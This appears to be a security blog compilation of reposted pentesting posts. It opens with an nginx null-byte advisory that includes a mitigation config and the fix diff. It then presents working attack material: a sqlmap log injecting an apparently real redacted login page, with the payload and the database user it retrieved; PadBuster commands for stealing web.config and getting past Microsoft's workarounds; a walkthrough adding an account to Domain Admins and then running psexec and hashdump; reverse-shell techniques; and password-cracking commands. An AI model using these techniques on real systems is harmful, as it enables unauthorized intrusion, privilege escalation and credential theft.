Possible Arbitrary Code Execution with Null Bytes, PHP, and Old Versions of nginx

After publishing my previous blog post on PHP, nginx configuration, and potential arbitrary code execution, I came across a separate null-byte injection vulnerability in older versions of nginx (0.5.*, 0.6.*, 0.7 <= 0.7.65, 0.8 <= 0.8.37). By taking advantage of this vulnerability, an attacker can cause a server that uses PHP-FastCGI to execute any publicly accessible file on the server as PHP.

In vulnerable versions of nginx, null bytes are allowed in URIs by default (their presence is indicated via a variable named zero_in_uri defined in ngx_http_request.h). Individual modules have the ability to opt-out of handling URIs with null bytes. However, not all of them do; in particular, the FastCGI module does not.

The attack itself is simple: a malicious user who makes a request to http://example.com/file.ext%00.php causes file.ext to be parsed as PHP. If an attacker can control the contents of a file served up by nginx (ie: using an avatar upload form) the result is arbitrary code execution. This vulnerability can not be mitigated by nginx configuration settings like try_files or PHP configuration settings like cgi.fix_pathinfo: the only defense is to upgrade to a newer version of nginx or to explicitly block potentially malicious requests to directories containing user-controlled content.

# This location block will prevent an attacker from exploiting
# this vulnerability using files in the 'uploads' or 'other_uploads' directory
location ~ ^/(uploads|other_uploads)/.*.php$
{
    deny all;
}

Although the affected versions of nginx are relatively old (0.7.66 was released June 7th, 2010, 0.8.38 was released May 24th 2010), no mention of the change appears in the release notes. As a result, administrators may be running vulnerable servers without realizing their risk. I discovered a couple places where vulnerable packages were being distributed:

  1. Ubuntu Lucid Lynx (Ubuntu’s current LTS offering) and Hardy Heron (via both the hardy and hardy-backports repositories) provided vulnerable versions of nginx via apt-get. The lucid and hardy packages have been updated: hardy-backports is awaiting approval. [1] [2]
  2. Fedora provides a vulnerable version in its EPEL-4 repository. At this time, an updated package has not been released.

I sent several emails to igor@sysoev.ru regarding the vulnerability. I sent the first on June 24th and I sent followups on July 4th, July 20th, and August 2nd. I received the following reply to my August 2nd email:

Thank you for report.

I do not consider this as nginx security issue since every application
should validate its input data, so nginx passed the data to application.
Also this is PHP installation issue where scripts and user uploaded
data are not separated. This issue was discussed several times on mailing
list.

At some point I’ve decided that zero byte in URI should not appear
in any encoding, operating system, etc., and just makes more problems
than helps. So I have remove zero byte test.

For anyone who’s curious, the changes can be found at r3528 from svn://svn.nginx.org. At that time, it appears trunk corresponded to nginx 0.8: r3599 merged r3528 into the nginx 0.7 branch. The corresponding commit message is “remove r->zero_in_uri.” I’ve reproduced the output of svn diff below:

Index: src/http/ngx_http_request.h
===================================================================
--- src/http/ngx_http_request.h	(revision 3527)
+++ src/http/ngx_http_request.h	(revision 3528)
@@ -56,7 +56,7 @@
 #define NGX_HTTP_PARSE_INVALID_HEADER      13

-#define NGX_HTTP_ZERO_IN_URI               1
+/* unused                                  1 */
 #define NGX_HTTP_SUBREQUEST_IN_MEMORY      2
 #define NGX_HTTP_SUBREQUEST_WAITED         4
 #define NGX_HTTP_LOG_UNSAFE                8
@@ -435,9 +435,6 @@
     /* URI with "+" */
     unsigned                          plus_in_uri:1;

-    /* URI with "\0" or "%00" */
-    unsigned                          zero_in_uri:1;
-
     unsigned                          invalid_header:1;

     unsigned                          valid_location:1;
Index: src/http/ngx_http_core_module.c
===================================================================
--- src/http/ngx_http_core_module.c	(revision 3527)
+++ src/http/ngx_http_core_module.c	(revision 3528)
@@ -1341,7 +1341,7 @@

     /* no content handler was found */

-    if (r->uri.data[r->uri.len - 1] == '/' && !r->zero_in_uri) {
+    if (r->uri.data[r->uri.len - 1] == '/') {

         if (ngx_http_map_uri_to_path(r, &path, &root, 0) != NULL) {
             ngx_log_error(NGX_LOG_ERR, r->connection->log, 0,
@@ -2104,7 +2104,6 @@
     ngx_log_debug2(NGX_LOG_DEBUG_HTTP, c->log, 0,
                    "http subrequest \"%V?%V\"", uri, &sr->args);

-    sr->zero_in_uri = (flags & NGX_HTTP_ZERO_IN_URI) != 0;
     sr->subrequest_in_memory = (flags & NGX_HTTP_SUBREQUEST_IN_MEMORY) != 0;
     sr->waited = (flags & NGX_HTTP_SUBREQUEST_WAITED) != 0;

Index: src/http/ngx_http_special_response.c
===================================================================
--- src/http/ngx_http_special_response.c	(revision 3527)
+++ src/http/ngx_http_special_response.c	(revision 3528)
@@ -517,8 +517,6 @@

     r->err_status = overwrite;

-    r->zero_in_uri = 0;
-
     if (ngx_http_complex_value(r, &err_page->value, &uri) != NGX_OK) {
         return NGX_ERROR;
     }
Index: src/http/ngx_http_upstream.c
===================================================================
--- src/http/ngx_http_upstream.c	(revision 3527)
+++ src/http/ngx_http_upstream.c	(revision 3528)
@@ -1815,10 +1815,6 @@
             return NGX_DONE;
         }

-        if (flags & NGX_HTTP_ZERO_IN_URI) {
-            r->zero_in_uri = 1;
-        }
-
         if (r->method != NGX_HTTP_HEAD) {
             r->method = NGX_HTTP_GET;
         }
Index: src/http/ngx_http_parse.c
===================================================================
--- src/http/ngx_http_parse.c	(revision 3527)
+++ src/http/ngx_http_parse.c	(revision 3528)
@@ -438,8 +438,7 @@
                 r->plus_in_uri = 1;
                 break;
             case '\0':
-                r->zero_in_uri = 1;
-                break;
+                return NGX_HTTP_PARSE_INVALID_REQUEST;
             default:
                 state = sw_check_uri;
                 break;
@@ -496,8 +495,7 @@
                 r->plus_in_uri = 1;
                 break;
             case '\0':
-                r->zero_in_uri = 1;
-                break;
+                return NGX_HTTP_PARSE_INVALID_REQUEST;
             }
             break;

@@ -526,8 +524,7 @@
                 r->complex_uri = 1;
                 break;
             case '\0':
-                r->zero_in_uri = 1;
-                break;
+                return NGX_HTTP_PARSE_INVALID_REQUEST;
             }
             break;

@@ -1202,7 +1199,7 @@
                     ch = *p++;

                 } else if (ch == '\0') {
-                    r->zero_in_uri = 1;
+                    return NGX_HTTP_PARSE_INVALID_REQUEST;
                 }

                 state = quoted_state;
@@ -1304,8 +1301,7 @@
         }

         if (ch == '\0') {
-            *flags |= NGX_HTTP_ZERO_IN_URI;
-            continue;
+            goto unsafe;
         }

         if (ngx_path_separator(ch) && len > 2) {
@@ -1449,34 +1445,19 @@
 void
 ngx_http_split_args(ngx_http_request_t *r, ngx_str_t *uri, ngx_str_t *args)
 {
-    u_char  ch, *p, *last;
+    u_char  *p, *last;

-    p = uri->data;
+    last = uri->data + uri->len;

-    last = p + uri->len;
+    p = ngx_strlchr(uri->data, last, '?');

-    args->len = 0;
+    if (p) {
+        uri->len = p - uri->data;
+        p++;
+        args->len = last - p;
+        args->data = p;

-    while (p < last) {
-
-        ch = *p++;
-
-        if (ch == '?') {
-            args->len = last - p;
-            args->data = p;
-
-            uri->len = p - 1 - uri->data;
-
-            if (ngx_strlchr(p, last, '\0') != NULL) {
-                r->zero_in_uri = 1;
-            }
-
-            return;
-        }
-
-        if (ch == '\0') {
-            r->zero_in_uri = 1;
-            continue;
-        }
+    } else {
+        args->len = 0;
     }
 }
Index: src/http/modules/ngx_http_gzip_static_module.c
===================================================================
--- src/http/modules/ngx_http_gzip_static_module.c	(revision 3527)
+++ src/http/modules/ngx_http_gzip_static_module.c	(revision 3528)
@@ -89,10 +89,6 @@
         return NGX_DECLINED;
     }

-    if (r->zero_in_uri) {
-        return NGX_DECLINED;
-    }
-
     gzcf = ngx_http_get_module_loc_conf(r, ngx_http_gzip_static_module);

     if (!gzcf->enable) {
Index: src/http/modules/ngx_http_index_module.c
===================================================================
--- src/http/modules/ngx_http_index_module.c	(revision 3527)
+++ src/http/modules/ngx_http_index_module.c	(revision 3528)
@@ -116,10 +116,6 @@
         return NGX_DECLINED;
     }

-    if (r->zero_in_uri) {
-        return NGX_DECLINED;
-    }
-
     ilcf = ngx_http_get_module_loc_conf(r, ngx_http_index_module);
     clcf = ngx_http_get_module_loc_conf(r, ngx_http_core_module);

Index: src/http/modules/ngx_http_random_index_module.c
===================================================================
--- src/http/modules/ngx_http_random_index_module.c	(revision 3527)
+++ src/http/modules/ngx_http_random_index_module.c	(revision 3528)
@@ -86,10 +86,6 @@
         return NGX_DECLINED;
     }

-    if (r->zero_in_uri) {
-        return NGX_DECLINED;
-    }
-
     if (!(r->method & (NGX_HTTP_GET|NGX_HTTP_HEAD|NGX_HTTP_POST))) {
         return NGX_DECLINED;
     }
Index: src/http/modules/ngx_http_dav_module.c
===================================================================
--- src/http/modules/ngx_http_dav_module.c	(revision 3527)
+++ src/http/modules/ngx_http_dav_module.c	(revision 3528)
@@ -146,10 +146,6 @@
     ngx_int_t                 rc;
     ngx_http_dav_loc_conf_t  *dlcf;

-    if (r->zero_in_uri) {
-        return NGX_DECLINED;
-    }
-
     dlcf = ngx_http_get_module_loc_conf(r, ngx_http_dav_module);

     if (!(r->method & dlcf->methods)) {
Index: src/http/modules/ngx_http_flv_module.c
===================================================================
--- src/http/modules/ngx_http_flv_module.c	(revision 3527)
+++ src/http/modules/ngx_http_flv_module.c	(revision 3528)
@@ -80,10 +80,6 @@
         return NGX_DECLINED;
     }

-    if (r->zero_in_uri) {
-        return NGX_DECLINED;
-    }
-
     rc = ngx_http_discard_request_body(r);

     if (rc != NGX_OK) {
Index: src/http/modules/ngx_http_static_module.c
===================================================================
--- src/http/modules/ngx_http_static_module.c	(revision 3527)
+++ src/http/modules/ngx_http_static_module.c	(revision 3528)
@@ -66,10 +66,6 @@
         return NGX_DECLINED;
     }

-    if (r->zero_in_uri) {
-        return NGX_DECLINED;
-    }
-
     log = r->connection->log;

     /*
Index: src/http/modules/ngx_http_autoindex_module.c
===================================================================
--- src/http/modules/ngx_http_autoindex_module.c	(revision 3527)
+++ src/http/modules/ngx_http_autoindex_module.c	(revision 3528)
@@ -160,10 +160,6 @@
         return NGX_DECLINED;
     }

-    if (r->zero_in_uri) {
-        return NGX_DECLINED;
-    }
-
     if (!(r->method & (NGX_HTTP_GET|NGX_HTTP_HEAD))) {
         return NGX_DECLINED;
     }
Index: src/http/modules/perl/ngx_http_perl_module.c
===================================================================
--- src/http/modules/perl/ngx_http_perl_module.c	(revision 3527)
+++ src/http/modules/perl/ngx_http_perl_module.c	(revision 3528)
@@ -168,10 +168,6 @@
 static ngx_int_t
 ngx_http_perl_handler(ngx_http_request_t *r)
 {
-    if (r->zero_in_uri) {
-        return NGX_HTTP_NOT_FOUND;
-    }
-
     r->main->count++;

     ngx_http_perl_handle_request(r);

Original Source: https://nealpoole.com/blog/2011/07/possible-arbitrary-code-execution-with-null-bytes-php-and-old-versions-of-nginx/

Use Sqlmap to perform oracle SQL injection from web

root@ubuntu:/pentest/database/sqlmap# python sqlmap.py --random-agent -u "http://www.***.com/login/userLoginSub.hs" --data "strPassword=098f6bcd4621d373cade4e832627b4f6&nSaveType=0&isAdmin=0&isRec=0&_menu=&strLang=kr&strCompanyNo=00004&strID=test" -p strID --dbms "Oracle" --technique=E --threads 10  --banner --current-db --current-user

sqlmap/1.0-dev (r4358) – automatic SQL injection and database takeover tool

http://www.sqlmap.org

[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 05:57:26

[05:57:26] [INFO] fetched random HTTP User-Agent header from file ‘/pentest/database/sqlmap/txt/user-agents.txt’: Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16
[05:57:27] [INFO] using ‘/pentest/database/sqlmap/output/www.***.com/session’ as session file
[05:57:28] [INFO] testing connection to the target url
[05:57:31] [INFO] testing if the url is stable, wait a few seconds
[05:57:33] [INFO] url is stable
[05:57:38] [INFO] heuristic test shows that POST parameter ‘strID’ might be injectable (possible DBMS: Oracle)
[05:57:38] [INFO] testing sql injection on POST parameter ‘strID’
[05:57:38] [INFO] testing ‘Oracle AND error-based – WHERE or HAVING clause (XMLType)’
[05:57:54] [INFO] POST parameter ‘strID’ is ‘Oracle AND error-based – WHERE or HAVING clause (XMLType)’ injectable
POST parameter ‘strID’ is vulnerable. Do you want to keep testing the others? [y/N] n
sqlmap identified the following injection points with a total of 4 HTTP(s) requests:

Place: POST
Parameter: strID
Type: error-based
Title: Oracle AND error-based – WHERE or HAVING clause (XMLType)
Payload: strPassword=098f6bcd4621d373cade4e832627b4f6&nSaveType=0&isAdmin=0&isRec=0&_menu=&strLang=kr&strCompanyNo=00004&strID=test’ AND 3439=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(100)||CHR(121)||CHR(122)||CHR(58)||(SELECT (CASE WHEN (3439=3439) THEN 1 ELSE 0 END) FROM DUAL)||CHR(58)||CHR(117)||CHR(109)||CHR(118)||CHR(58)||CHR(62))) FROM DUAL) AND ‘Fxun’='Fxun

[05:57:57] [INFO] the back-end DBMS is Oracle
[05:57:57] [INFO] fetching banner
[05:57:59] [INFO] retrieved: Oracle Database 10g Release 10.2.0.4.0 – Production

web application technology: PHP 5.2.6, Apache 2.2.3
back-end DBMS: Oracle
banner:    ‘Oracle Database 10g Release 10.2.0.4.0 – Production’

[05:57:59] [INFO] fetching current user
[05:58:00] [INFO] retrieved: WORKDESK_EP
current user:    ‘WORKDESK_EP’

[05:58:00] [INFO] fetching current database
[05:58:02] [INFO] retrieved: WORKDESK_EP
current schema (equivalent to database on Oracle):    ‘WORKDESK_EP’

[05:58:02] [INFO] Fetched data logged to text files under ‘/pentest/database/sqlmap/output/www.***.com’

[*] shutting down at 05:58:02

 

 

PadBuster v0.3 and the .NET Padding Oracle Attack

Now that a weekend has passed since the .NET patch was released, and since there is already a working public example of how to reliably download a web.config using the padding oracle attack, we have decided to finally release v0.3 of PadBuster with the “Brute Force” option. This option is specifically designed to handle scenarios where the first block of ciphertext cannot be crafted using CBC-R due to a secret IV. This feature was NOT designed specifically for the .NET attack, as our intention for PadBuster is to be a universal tool for identifying and exploiting padding oracles in any web application. That being said, the brute force option CAN be used to reliably perform a web.config download attack within a reasonable number of requests.

Before discussing how to perform this attack using PadBuster, and some of the other new features in this version, it’s worth noting that there are more efficient ways to perform the web.config download attack using ScriptResource.axd. The T-Block brute force attack vector, which was originally pointed out to me by James Martin of ESP Technologies and is also discussed here by Giorgio Fedon of Minded Security, is significantly faster and more efficient. This technique, however, is pretty specific to the .NET ScriptResource.axd attack and as such is not likely to be incorporated into PadBuster (a separate exploit script is probably warranted).

The web.config attack using PadBuster is essentially a three step process. I will assume that the reader is already familiar with the specifics of why the script resource handler is vulnerable to a file download attack. If you are not familiar with the underlying issue, you can read about it here, here and here.

Step 1: Encrypt the Payload using CBC-R

The first step of the attack is to identify a component that is vulnerable to the padding oracle attack and use it to encrypt the web.config payload (|||~/web.config). This can typically be done in a few ways:

1 – Using WebResource.axd as a padding oracle for CBC-R.

If CustomErrors are NOT enabled, then you don’t even need a valid ciphertext sample to exploit the oracle…you can use an encoded dummy value of all NULLS instead (AAAAAAAAAAAAAAAAAAAAAA2).

padBuster.pl http://www.myapp.com/WebResource.axd?d=AAAAAAAAAAAAAAAAAAAAAA2 AAAAAAAAAAAAAAAAAAAAAA2 16 -encoding 3 -plaintext "|||~/web.config"

If CustomErrors ARE enabled, you can still use WebResource.axd as the oracle. The caveat, however, is that you’ll need to use a valid ciphertext query string sample and use the -prefix option so that PadBuster sends this sample as the prefix of each test request.

padBuster.pl http://www.myapp.com/WebResource.axd?d=1s45vAJre3GVd98iQoAjgQ2 1s45vAJre3GVd98iQoAjgQ2 16 -encoding 3 -plaintext "|||~/web.config" -prefix 1s45vAJre3GVd98iQoAjgQ2

2 – Using ScriptResource.axd as a padding oracle for CBC-R. 

Like with the web resource handler, this is pretty straightforward if CustomErrors are not enabled:

padBuster.pl http://www.myapp.com/ScriptResource.axd?d=1s45vAJre3GVd98iQoAjgQ2 1s45vAJre3GVd98iQoAjgQ2 16 -encoding 3 -plaintext "|||~/web.config"

If CustomErrors ARE enabled, this handler can also be used as a padding oracle. The interesting thing about this technique is that it seems to work despite implementing all of the workarounds that Microsoft recommended before the patch was issued (CustomErrors using RedirectMode and optional Sleep). This technique, however, requires use of the brute force option so I’ll come back to that in a bit.

Step 2: Verify the encrypted payload does NOT include pipes

This step is optional, but certainly worth performing to ensure that you aren’t headed down a dead end road. In order for the exploit to work, the payload you send to the handler (including the “garbage” IV block) CANNOT include any pipe characters. If it does, the payload will never work. To verify this, you can use the padding oracle to decrypt your payload and verify its contents. So assuming that Step 1 produced a payload value of “iJBC6whziIIWQhKYX4KDpwAAAAAAAAAAAAAAAAAAAAA1″, then the following command would be used to verify the contents of the payload. Make sure to use the -noiv option as the first block is the one you are most interested in.

padBuster.pl http://www.myapp.com/WebResource.axd?d=iJBC6whziIIWQhKYX4KDpwAAAAAAAAAAAAAAAAAAAAA1 iJBC6whziIIWQhKYX4KDpwAAAAAAAAAAAAAAAAAAAAA1 16 -encoding 3 -noiv

So what if your payload DOES include pipes? Not to fear, there’s an easy workaround for this too. You may have noticed that when you decrypt samples using PadBuster, it prints the HEX encoded Ciphertext Bytes and Intermediate Bytes with the results of each block. You can optionally use any of these pairs along with the -ciphertext and -intermediate switches to feed PadBuster a known pair of ciphertext/intermediate values for use during CBC-R encryption. Using any one of these pairs to encrypt your exploit payload should produce a different payload than would otherwise be generated by PadBuster on its own, which can then be verified to ensure that it does not contain pipes.

Step 3: Brute force the first block

Now that you have a valid payload, the final step is to obtain the first block that will trigger the file download logic. The reason this step is tricky is that the Framework typically does not pass an IV along with the ciphertext. As such, we can’t use the padding oracle to reliably produce our desired first block.

The good news is that since you only need the first two bytes of the decrypted value to trigger our exploit (either Q#,q#,R# or r#) you can essentially brute force the needed block with fairly reliable success. And the even better news is that you’d be surprised at how quick it is to blindly brute force one of these values.

The approach taken by PadBuster is similar, but slightly different, than the approach used by Web.config Bruter script released by Giorgio Fedon. I must again credit James Martin for originally sharing his proof of concept exploit code with me that leveraged this technique for identifying the first block. Instead of random block values, however, PadBuster performs a sequential brute force starting with all NULLS. The sequential brute force ensures that you never attempt the same block value more than once and also allows you to resume the brute force where you left off if the script gets killed (using the -resume option). The example shown below assumes the payload from our Step 2 example above:

padBuster.pl http://www.myapp.com/ScriptResource.axd?d=iJBC6whziIIWQhKYX4KDpwAAAAAAAAAAAAAAAAAAAAA1 iJBC6whziIIWQhKYX4KDpwAAAAAAAAAAAAAAAAAAAAA1 16 -encoding 3 -bruteforce -log

PadBuster’s brute force mode works similar to the other modes of PadBuster, where the first step is an automated response analysis. The main difference is that rather than identifying a padding error, you want to identify an error that indicates failure of the brute force attempt rather than success. In most cases, you may have only one response to choose from…which is totally fine (unless one of the initial 256 fuzzing attempts produces a different response). In the case of ScriptResource.axd, there’s a good chance you’ll have more than one as shown below.

INFO: Starting PadBuster Brute Force Mode
[+] Starting response analysis...

*** Response Analysis Complete ***

The following response signatures were returned:

-------------------------------------------------------
ID#     Freq    Status  Length  Location
-------------------------------------------------------
1       1       200     337     N/A
2 **    255     404     1524    N/A
-------------------------------------------------------

Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended :

The reason for the 200 response included above is the T-Block. For our purposes, we are not using the T-Block so we can select signature #2 (the 404). PadBuster will continue issuing brute force attempts and notify you of every response that does not match this signature. You’ll likely get several T-Block hits similar to the 200 response shown above before you hit a block that returns the web.config as shown below (this is just an excerpt from the output)

Attempt 4275 - Status: 200 - Content Length: 367

http://www.myapp.com/ScriptResource.axd?d=igA4AAAAAAAAAAAAAAAAAA8AKxtNMQoQQxBBBBVqZAJ2R8LhDGgKEb9nsHoH-jVA0

Attempt 4561 – Status: 200 – Content Length: 360

http://www.myapp.com/ScriptResource.axd?d=4AA4AAAAAAAAAAAAAAAAAA8AKxtNMQoQQxBBBBVqZAJ2R8LhDGgKEb9nsHoH-jVA0

Attempt 4792 – Status: 200 – Content Length: 100277

http://www.myapp.com/ScriptResource.axd?d=xwA5AAAAAAAAAAAAAAAAAA8AKxtNMQoQQxBBBBVqZAJ2R8LhDGgKEb9nsHoH-jVA0

Attempt 5353 – Status: 200 – Content Length: 359
http://www.myapp.com/ScriptResource.axd?d=BAA6AAAAAAAAAAAAAAAAAA8AKxtNMQoQQxBBBBVqZAJ2R8LhDGgKEb9nsHoH-jVA0

As you can imagine, it’s difficult to tell whether these responses contain anything meaningful based solely on the data that is printed to the screen. In the case of this exploit, we know that the web.config file is likely going to be much larger than the small T-Block responses which average around 500 Bytes. You can actually see that in the excerpt above, attempt number 4792 shows a much larger content length…this is the response that contains the web.config file. The inclusion of unwanted T-Block responses in our output is a result of our desire to maintain PadBuster as a universal tool that is not specific to a particular vulnerability such as this one.

You may also have noticed that our original command made use of another new option (-log). The “log” option tells PadBuster to log various output files in an automatically generated folder using the PadBuster.DDMMYY-TIME naming convention. This option is critical for use in brute force mode, since each matching response is logged to this folder and can be easily reviewed to determine whether the brute force attempt worked. For the case of a web.config download exploit, I recommend running the above command and monitoring the output folder to determine when a significantly larger response file gets created.

Bypassing the Workarounds

Now that you’ve seen how to retrieve the web.config, let’s go back to an alternate technique for using ScriptResource.axd as a padding oracle. As I mentioned previously, this technique works despite implementing the recommended workarounds initially presented by Microsoft in their guidance preceding the patch release. To start, you’ll need a valid ciphertext sample. The sample, however, does not have to be valid for the script resource handler (it can be taken from any Framework component…most easily from the WebResource.axd query string).

Step 1: Find a valid T-Block Request

Using the obtained sample, along with the -bruteforce option, the following command can be used to quickly brute force a valid T-Block. The following example assumes that we were able to obtain a valid “d” value from a link to the web resource handler (/WebResource.axd?d=qmZbysenet6VGS94Ord8gQ2&t=633768217780468750).

padBuster.pl http://www.myapp.com/ScriptResource.axd?d=qmZbysenet6VGS94Ord8gQ2 qmZbysenet6VGS94Ord8gQ2 16 -encoding 3 -bruteforce

Once you run PadBuster with these options, and select the default error pattern, you should get a 200 response within the first few hundred requests similar to the one shown below:

Attempt 60 - Status: 200 - Content Length: 337
http://www.myapp.com/ScriptResource.axd?d=OwAAAAAAAAAAAAAAAAAAAKpmW8rHp3relRkveDq3fIE1

Step 2: Use the obtained T-Block with the -prefix option

Now you can leverage the obtained T-Block request, along with the -prefix option, to use the script resource handler as a padding oracle as shown below.

padBuster.pl http://www.myapp.com/ScriptResource.axd?d=qmZbysenet6VGS94Ord8gQ2 qmZbysenet6VGS94Ord8gQ2 16 -encoding 3 -noiv -prefix OwAAAAAAAAAAAAAAAAAAAKpmW8rHp3relRkveDq3fIE1

The examples above hopefully demonstrate how to use the new features of PadBuster for performing various exploits against the .NET framework. Our plan is to add more features to PadBuster where they make sense, specifically features that can be useful in against a wide variety of padding oracle attack vectors. As always, send us your feedback, modifications, bug reports, or general comments so that we can incorporate them into future versions.

Source: http://blog.gdssecurity.com/labs/2010/10/4/padbuster-v03-and-the-net-padding-oracle-attack.html

外围渗透测试的一些小领悟

1.不要忽视任何一个小漏洞或默认漏洞,一个看起来很简单的漏洞可能在目标机器上确实不存在,但是扩大范围细心查找,往往那个漏洞在其他相关机器上就存在着,外围的踩点,DNS WALK,DOMAIN NAME FUZZ,旁注,C段扫描都是必须的。

2.弱口令攻击,比如目标如果存在邮件服务,那么就一定存在某个用户的弱口令,比如我简单测过某著名B2C巨头公司运维leader的密码就是123456,很容易从邮件中再进一步抓取收集目标所有的邮件用户,然后再慢慢扩大范围进行社工或暴力破解等。

3.针对目标客户端的渗透,收集客户端的信息。在目标的WEB交互应用,比如BBS贴图或者XSS等,针对客服、管理员收集内网IP、 USERANGET、OS信息等等。分析相关人员在网上发过的PDF,WORD文档等,看看OFFCIE,ADOBE版本什么的,一般都会让你大吃一 惊,IE6,IE7,JAVA,老的有漏洞的客户端软件仍然是一大片,针对性的客户端攻击总会有效。

Active Directory KungFu – Messing With Users & Computers

Recently on an internal Pentest, I needed to get a new user into the Domain Admins group, which I couldn’t manage to accomplish with the usual net localgroup group username /add /domain command, I had managed to add a user to the domain – daveisahacker – using net user daveisahacker Password123 /add /domain.

I really need to get a user into Domain Admin, and as I had a token impersonation of domain admin, but couldn’t sign on to a DC because I had no password.

So I thinks what about the Directory services commands – DSQUERY, DSMOD, and all of the other DS commands, I might be able to add a user to the Domain Admins group that way.

DSQUERY Command @ Technet

http://technet.microsoft.com/en-us/library/cc732952(WS.10).aspx

DSMOD Command @ Technet

http://technet.microsoft.com/en-us/library/cc732406(WS.10).aspx

So, OK lets have a look at these command and what to do with them.

 

I have a meterpreter session on a member server – Win2K3,

We need to get an ‘Elevated Account’, so we’ll use incognito to see if there are any tokens we can impersonate.

Hmmm, backupexecadm looks like it could be useful…..

Bingo!! its a Domain Admin.

OK now we drop into a shell on the victim server.

Some background on the DSQUERY command, we use this to determine the distinguished names of the objects we want to deal with.

So, to find my new user – daveisahacker enter the command:-

dsquery user -name dave*

Now lets find the distinguished name of the Domain Admins group:-

dsquery group -name domain*

OK, we now have the distinguished names for both parts of the next command,

User = ”CN=daveisahacker,CN=Users,DC=xxx,DC=xx,DC=xxxxx,DC=com”

Group = ”CN=Domain Admins,OU=Groups,DC=xxxx,DC=xx,DC=xxxxx,DC=com”

Now the next command DSMOD, this requires the distinguished names we found above.

dsmod group ”CN=Domain Admins,OU=Groups,DC=xxxx,DC=xx,DC=xxxxx,DC=com” -addmbr ”CN=daveisahacker,CN=Users,DC=xxxx,DC=xx,DC=xxxxx,DC=com”

As you can see we now have a new member of the Domain Admins group, we can now sign onto the Domain Controller with our new evil hacker account, in my case it was now possible to get a meterpreter session using the exploit/windows/smb/psexec exploit, setting the SMBPass,SMBUser and SMBDomain to the creds of the user daveisahcker.

From here the domain is yours, hashdump would be a good start.

#Original Source: http://pentestn00b.wordpress.com/2011/02/18/active-directory-kungfu-messing-with-users-computers/

# Another awesome paper relates to dsquery:  http://synjunkie.blogspot.com/2010/01/what-bob-did-what-alice-saw-part-1.html

7 linux shells using built in tools

There are many distributions of linux, and they all do things a little different regarding default security and built-in tool sets. Which means when engaging these different flavors during a pentest, what works against one linux target to get an interactive shell, may not work against another. Well, not to worry my friends, there are many techniques for spawning shells, specifically reverse shells, from linux, and one or more of these techniques is bound to be available no matter which distro you’re looking at.

The scenario is this: You have the ability to run a simple command, or cause a user to run a simple command, on the target system. Whether it be via a Remote Command Execution vulnerability in a website, or some sort of php injected XSS which causes a privileged user to run commands on the target system. There are many instances of this scenario. Starting from the easiest and most common, here are some of the techniques which can be used to gain reverse shell on the target system.

#1. netcat:
Surprise!!! Nothing new here. Plain and simple. Fire up a listener on the attacker machine on a port which is reachable from the target and connect back to the listener with netcat. Looks like this.

…just kidding…

#2. netcat with GAPING_SECURITY_HOLE disabled:
This is a little trick that Ed Skoudis tweeted about in November of last year, but I haven’t seen it widely publicized. It is based on the common technique used to build netcat relays. When the GAPING_SECURITY_HOLE is disabled, which means you don’t have access to the ‘-e’ option of netcat, most people pass on using netcat and move to something else. Well this just isn’t necessary. Create a FIFO file system object and use it as a backpipe to relay standard output from commands piped from netcat to /bin/bash back into netcat. Sounds confusing right? The following image should clear things up.

#3. netcat without netcat:
I love “hacks” that use features of the operating system against itself. This is one of those “hacks”. It takes the /dev/tcp socket programming feature and uses it to redirect /bin/bash to a remote system. It’s not always available, but can be quite handy when it is.

#4. netcat without netcat or /dev/tcp:
/dev/tcp not available either? Just use telnet with technique #2.

#5. telnet-to-telnet:
I’m not sure why you’d use this technique, but it’s an option, so here it is nonetheless. This is clearly the ugliest of the techniques. This technique uses two telnet sessions connected to remote listeners to pipe input from one telnet session to /bin/bash, and pipe the output to the second telnet session. Commands are entered into one the of the attackers listeners and feedback is received on the other.

#6. RCE shell:
On this one I’m cheating a little bit. This applies to Remote Command Execution vulnerabilities only. Rather than manually enter commands into a proxy or browser url, I wrote small python script which gives you the feel of a shell, without spawning anything in reverse from the target. You merely pass the script the vulnerable url with the injectable field replaced with the ‘<rce>’ tag and it presents you with a clean interface for entering commands. In the background, the script is making the request to the web server, parsing the response, and presenting it to you.

#7. PHP reverse shell via interactive console:
The last technique makes use of the php interactive console. The attacker issues one command which moves to the /tmp directory (because it is typically world writable), uses wget to download a malicious php reverse_tcp backdoor (which the attacker hosts on a web server that he controls), and executes the backdoor via the interactive console.

I want to end this post by stating that I am not the originator of techniques #1, 2, 3, 5, or 7. The majority of these techniques were learned in Ed Skoudis’ amazing Security 504 and 560 classes available through SANS. Technique #4 is something I’ve never seen but stumbled across as I was conducting the demos for this post, so I’ll take credit. Obviously, anyone can do #6, and there are plugins for various automated web app testing software packages that do, but I built my script from the ground up and tailored it to preference. If you know of any additional methods that may be helpful to the pentesting community, please leave in the comments below. Without sharing, we all fail. Thanks, and enjoy!

#Original Source: http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/

Some tools and papers on hash cracking

Jtr Project: http://www.openwall.com/john/
Paper: Supercharged John the Ripper Techniques by Rick Redman of KoreLogic

https://www.owasp.org/images/a/af/2011-Supercharged-Slides-Redman-OWASP-Feb.pdf

# john –rules:single –format:nt -w:password.lst pwdump.txt
(This attempts passwords with rules based off of the wordlist ‘password.lst’ – This is a new “trick” not documented anywhere)

World fastest hash cracker is oclHashcat(with ATI Card or Nvidia Crad)
oclHashcat Project: http://hashcat.net/oclhashcat/

Some papers about oclHashcat:
[1] Profiling your hashlist, and targeting with mask attack.
http://ob-security.info/?p=208
[2] oclHashcat 101
http://ob-security.info/?p=56
[3] oclHashcat 102
http://ob-security.info/?p=116

One good wordlist generator is Crunch.
You can download Crunch on here.
Crunch Tutorial: http://adaywithtape.blogspot.com/2010/04/creating-wordlists-with-crunch-v23.html

Recommend wordlists: http://www.whatsmypass.com/compilation-of-wordlist-downloads

Awesome paper about oclhashcat: http://www.question-defense.com/2010/08/15/automated-password-cracking-use-oclhashcat-to-launch-a-fingerprint-attack

Reverse IP with Bing API [python script]

Reverse IP with Bing API[python script by enhack]

ip reverse with bing api

[Mirror] http://pastebin.com/p8xBxHRe

Mysql323 HASH Collision

